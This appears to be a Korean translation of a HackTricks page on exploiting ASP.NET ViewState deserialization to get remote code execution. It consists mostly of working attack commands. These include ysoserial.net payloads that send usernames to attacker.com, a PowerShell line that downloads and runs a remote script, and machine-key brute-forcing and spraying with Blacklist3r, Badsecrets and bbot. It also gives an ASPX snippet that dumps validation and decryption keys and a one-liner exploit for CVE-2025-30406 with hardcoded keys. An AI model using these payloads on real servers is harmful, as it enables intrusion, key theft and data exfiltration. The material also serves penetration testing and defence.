__VIEWSTATE 비밀을 모르는 상태에서 악용하기
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
ViewState란 무엇인가
ViewState는 ASP.NET에서 페이지와 컨트롤 데이터를 웹 페이지 간에 유지하는 기본 메커니즘입니다. 페이지의 HTML을 렌더링하는 동안, 현재 페이지 상태와 postback 시 보존해야 할 값들이 직렬화되어 base64로 인코딩된 문자열로 변환됩니다. 이 문자열들은 숨겨진 ViewState 필드에 저장됩니다.
ViewState 정보는 다음 속성 또는 이들의 조합으로 구분할 수 있습니다:
- Base64:
EnableViewStateMac및ViewStateEncryptionMode속성이 모두 false로 설정된 경우 사용되는 형식입니다.
- Base64 + MAC (메시지 인증 코드) 활성화:
- MAC 활성화는
EnableViewStateMac속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터의 무결성 검증을 제공합니다.
- MAC 활성화는
- Base64 + 암호화:
ViewStateEncryptionMode속성이 true로 설정되면 암호화가 적용되어 ViewState 데이터의 기밀성이 보장됩니다.
테스트 케이스
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState에 대한 다양한 구성들을 자세히 보여주는 표입니다. 내용 요약은 다음과 같습니다:
- any version of .NET의 경우, MAC과 Encryption이 모두 비활성화되어 있으면 MachineKey가 필요하지 않으므로 이를 식별할 방법이 적용되지 않습니다.
- versions below 4.5에서는 MAC이 활성화되어 있고 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 “Blacklist3r“로 언급되어 있습니다.
- versions below 4.5에서는 MAC 활성화 여부와 상관없이 Encryption이 활성화된 경우 MachineKey가 필요합니다. MachineKey 식별은 “Blacklist3r - Future Development” 과제로 표기되어 있습니다.
- versions 4.5 and above에서는 MAC과 Encryption의 모든 조합(둘 다 true이거나, 하나만 true인 경우 등)에 대해 MachineKey가 필요합니다. MachineKey는 “Blacklist3r“을 사용해 식별할 수 있습니다.
테스트 케이스: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
AspNetEnforceViewStateMac 레지스트리 키를 다음 위치에 0으로 설정하면 ViewStateMAC을 완전히 비활성화할 수도 있습니다:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState 속성 식별
이 매개변수를 포함한 요청을 BurpSuite로 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. MAC이 매개변수 보호에 사용되지 않았다면 YSoSerial.Net을 사용하여 악용할 수 있습니다.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Test case 1과 유사하지만 ViewState cookie가 서버에서 전송되지 않는 경우
개발자는 ViewState를 제거하여 HTTP Request의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 cookie를 받지 않습니다).
일부는 ViewState가 존재하지 않는 경우, ViewState 역직렬화에서 발생할 수 있는 잠재적 취약점으로부터 구현이 안전하다고 가정할 수 있습니다.
하지만 그렇지 않습니다. 요청 본문에 ViewState parameter를 추가하고 ysoserial로 생성한 직렬화된 payload를 보내면, Case 1에서 보인 것처럼 여전히 code execution을 달성할 수 있습니다.
Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
특정 페이지에 대해 ViewState MAC를 활성화하려면 특정 aspx 파일에서 다음 변경을 해야 합니다:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
애플리케이션 전체에 대해서도 다음과 같이 web.config 파일에 설정하여 수행할 수 있습니다:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
이번에는 파라미터가 MAC으로 보호되어 있으므로 공격을 성공적으로 실행하려면 먼저 사용된 키가 필요합니다.
사용된 키를 찾기 위해 Blacklist3r(AspDotNetWrapper.exe) 를 사용해 볼 수 있습니다.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. 이는 Python으로 작성되어 있어 Blacklist3r와 달리 Windows 종속성이 없습니다. .NET viewstates의 경우 “python blacklist3r” 유틸리티가 있으며, 이것이 사용하기에 가장 빠른 방법입니다.
viewstate와 generator를 직접 제공할 수도 있습니다:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

또는 대상 URL에 직접 연결하여 HTML에서 viewstate를 추출해 보려고 시도할 수 있습니다:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

대규모로 취약한 viewstates를 찾기 위해, subdomain enumeration과 함께 badsecrets BBOT 모듈을 사용할 수 있습니다:
bbot -f subdomain-enum -m badsecrets -t evil.corp

운이 좋게 키를 찾으면 YSoSerial.Net: 를 사용해 공격을 진행할 수 있습니다.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
서버에서 _VIEWSTATEGENERATOR 파라미터가 전송되지 않는 경우 --generator 파라미터를 제공할 필요가 없습니다, 하지만 다음 항목들:
--apppath="/" --path="/hello.aspx"
대규모로 재활용된 <machineKey> 값 악용
Ink Dragon (2025)은 관리자가 Microsoft 문서, StackOverflow 답변 또는 벤더 블로그에 게시된 샘플 <machineKey> 블록을 복사할 때 얼마나 위험한지를 보여주었다. 단일 대상이 해당 키를 leaks하거나 팜 전체에서 재사용하면, ViewState를 신뢰하는 다른 모든 ASP.NET 페이지는 추가 취약점 없이 원격으로 탈취될 수 있다.
- 유력한 후보 단어 목록(candidate wordlist)을 구성하되 leaked
validationKey/decryptionKey쌍을 사용한다(예: 공개 저장소, Microsoft 블로그 게시물 또는 팜의 한 호스트에서 복구된 키를 스크랩) 그리고 이를 Blacklist3r/Badsecrets에 공급한다:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
도구는 각 후보 키로 정상적인 __VIEWSTATE 블롭에 반복적으로 서명하여 서버가 MAC을 수락할 때까지 시도하며, 이는 해당 키가 유효함을 증명한다.
2. 키 쌍을 알게 되면 악성 ViewState를 위조하라. 암호화가 비활성화된 경우 validationKey만 필요하다. 암호화가 활성화된 경우에는 일치하는 decryptionKey를 포함시켜 페이로드가 decrypt → deserialize 경로를 통과하도록 해야 한다:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
운영자들은 페이로드가 IIS 워커(w3wp.exe)로 실행되기 때문에 종종 PrintNotifyPotato, ShadowPad 로더 등과 같은 디스크 상의 런처를 페이로드에 직접 포함시킨다.
3. 동일한 <machineKey>를 형제 SharePoint/IIS 노드에 재사용하여 측면 이동하라. 한 서버가 침해되면 구성(또는 키)을 회전시킨 적이 없는 다른 모든 서버에 그 키를 재사용하여 접근할 수 있다.
Test Case: 3 – .Net < 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true
여기서는 해당 파라미터가 MAC으로 보호되는지 알 수 없다. 이 경우 값은 아마 암호화되어 있으며 취약점을 악용하려면 페이로드를 암호화하기 위해 Machine Key가 필요하다.
In this case the Blacklist3r module is under development…
Prior to .NET 4.5, ASP.NET은 **ViewState**가 _Always_로 설정되어 있더라도 사용자로부터의 암호화되지 않은(unencrypted) ___VIEWSTATE_ 파라미터를 수락할 수 있다. ASP.NET은 요청에서 __VIEWSTATEENCRYPTED 파라미터의 **존재(presence)**만 확인한다. 이 파라미터를 제거하고 암호화되지 않은 페이로드를 전송하면, 여전히 처리된다.
따라서 공격자가 file traversal 같은 다른 vuln을 통해 Machinekey를 획득할 수 있다면, Case 2에서 사용된 YSoSerial.Net 명령을 사용하여 ViewState deserialization 취약점을 통해 RCE를 수행할 수 있다.
- ViewState deserialization 취약점을 악용하려면 요청에서
__VIEWSTATEENCRYPTED파라미터를 제거하라. 그렇지 않으면 ViewState MAC 검증 오류를 반환하여 익스플로잇이 실패한다.
Test Case: 4 – .Net >= 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true/false (단, 두 속성이 모두 false인 경우는 제외)
아래와 같이 web.config 파일 내부에 다음 파라미터를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있다.
<httpRuntime targetFramework="4.5" />
또는 web.config 파일의 machineKey 매개변수 안에 아래 옵션을 지정하여 수행할 수 있습니다.
compatibilityMode="Framework45"
앞의 경우와 마찬가지로 값은 암호화되어 있습니다. 따라서 공격자가 유효한 payload를 전송하려면 키가 필요합니다.
사용 중인 키를 찾기 위해 Blacklist3r(AspDotNetWrapper.exe) 을 사용해 볼 수 있습니다:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
더 자세한 설명은 IISDirPath와 TargetPagePath에 대해서는 refer here
또는, Badsecrets (generator 값을 사용):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

유효한 Machine key가 확인되면, 다음 단계는 직렬화된 페이로드를 생성하는 것입니다 YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
__VIEWSTATEGENERATOR 값을 알고 있다면 해당 값을 사용하여 --generator 파라미터를 사용하고 --path 및 --apppath 파라미터를 생략해 볼 수 있습니다.

ViewState deserialization 취약점을 성공적으로 악용하면 공격자 제어 서버로 사용자 이름을 포함한 out-of-band 요청이 전송됩니다. 이러한 유형의 익스플로잇은 “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET“라는 자료에서 시연되는 proof of concept (PoC)으로 설명되어 있습니다. 익스플로잇 과정의 동작 방식과 MachineKey 식별을 위해 Blacklist3r 같은 도구의 사용 방법에 대한 자세한 내용은 제공된 PoC of Successful Exploitation를 참조하세요.
Test Case 6 – ViewStateUserKeys is being used
ViewStateUserKey 속성은 CSRF attack에 대해 방어하는 데 사용할 수 있습니다. 애플리케이션에 해당 키가 정의되어 있고 지금까지 논의한 방법으로 ViewState payload를 생성하려고 하면, payload는 애플리케이션에서 처리되지 않습니다.
올바르게 payload를 생성하려면 하나의 파라미터를 더 사용해야 합니다:
--viewstateuserkey="randomstringdefinedintheserver"
성공적인 익스플로잇의 결과
모든 테스트 케이스에서 ViewState YSoSerial.Net payload가 성공적으로 동작하면 서버는 “500 Internal server error”를 응답하고 응답 내용으로 “The state information is invalid for this page and might be corrupted”를 반환하며 OOB request를 받게 됩니다.
자세한 정보는 여기를 확인하세요
리플렉션을 통한 ASP.NET Machine Keys 덤핑 (SharPyShell/SharePoint ToolShell)
타깃 웹 루트 내에 임의의 ASPX 코드를 업로드하거나 실행할 수 있는 공격자는 bruteforcing 하는 대신 __VIEWSTATE를 보호하는 비밀 키를 직접 가져올 수 있습니다.
키를 leaks하는 최소한의 payload는 리플렉션을 통해 내부 .NET 클래스를 활용합니다:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
페이지를 요청하면 ValidationKey, DecryptionKey, 암호화 알고리즘과 ASP.NET 호환 모드가 출력됩니다. 이 값들은 이제 ysoserial.net에 바로 입력되어 유효한 서명된 __VIEWSTATE 가젯을 생성할 수 있습니다:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
이 key-exfiltration primitive는 2025년에 on-prem SharePoint 서버들을 대상으로 대규모로 악용되었지만(“ToolShell” – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용될 수 있다.
2024-2025 실제 악용 시나리오 및 하드코딩된 Machine Keys
Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
Microsoft Threat Intelligence는 machineKey가 previously leaked on public sources (GitHub gists, blog posts, paste sites) 되어 있던 ASP.NET 사이트들이 대규모로 악용되었다고 보고했다. 공격자들은 이 키들을 열거하여 유효한 __VIEWSTATE gadgets를 최신 ysoserial.net 1.41의 --minify 및 --islegacy 플래그로 생성해 WAF 길이 제한을 회피했다:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
서버 팜 전반에서 동일한 정적 키를 계속 재사용하는 대상은 무기한으로 취약 상태를 유지합니다; 일단 AutoGenerate 값으로 전환하면 spray technique이 작동하지 않으므로, 하드코딩된 자료를 여전히 노출하는 레거시 배포를 우선적으로 공략하세요.
CVE-2025-30406 – Gladinet CentreStack / Triofox 하드코딩된 키
Kudelski Security는 여러 CentreStack / Triofox 릴리스가 동일한 machineKey 값을 포함하여 배포되었음을 밝혀냈고, 이는 ViewState forgery를 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다 (CVE-2025-30406).
One-liner exploit:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372에서 수정됨 — 즉시 업그레이드하거나 키를 교체하세요.
참고자료
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets – fast machineKey discovery
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

